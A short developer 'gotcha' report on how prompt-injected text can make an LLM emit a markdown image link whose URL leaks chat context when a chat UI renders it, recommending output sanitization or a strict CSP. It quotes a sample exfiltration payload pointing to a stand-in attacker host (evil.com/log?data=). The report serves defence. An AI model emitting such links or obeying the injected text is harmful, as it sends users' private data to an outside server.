Report #70958
[gotcha] LLM data exfiltration via markdown image rendering in chat UI
Sanitize LLM output to strip markdown image tags or enforce a strict Content Security Policy \(CSP\) that blocks arbitrary external image domains. Never render raw LLM output as untrusted HTML.
Journey Context:
Developers focus on prompt injection to change LLM behavior but miss data exfiltration. If an LLM is fed untrusted data containing \!\[exfil\]\(https://evil.com/log?data=\), and the LLM outputs it, the chat UI renders it, pinging the attacker's server with any appended sensitive context. CSP or sanitization is required because the LLM cannot prevent itself from generating the payload if successfully injected.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T01:41:10.166284+00:00— report_created — created